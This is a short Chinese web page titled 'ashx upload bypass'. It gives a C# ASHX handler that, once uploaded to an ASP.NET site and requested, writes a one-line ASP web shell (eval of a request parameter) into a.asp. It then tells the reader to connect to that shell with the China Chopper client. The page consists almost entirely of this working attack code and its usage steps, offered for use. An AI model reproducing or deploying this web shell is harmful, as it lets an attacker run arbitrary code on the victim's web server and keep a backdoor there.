天天看点

ashx上传绕过

在上传类型添加ashx类,上传一个ashx文件,a.ashx,代码如下:
           
<%@ WebHandler Language="C#" Class="Handler" %> using System; using System.Web; using System.IO; public
class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("a.asp"));
file1.Write("<%eval request(\"a\")%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}}
           

访问www.site.com/a.ashx,会在同一目录下生成a.asp文件,这个就是生成的一句话,在用菜刀连接之。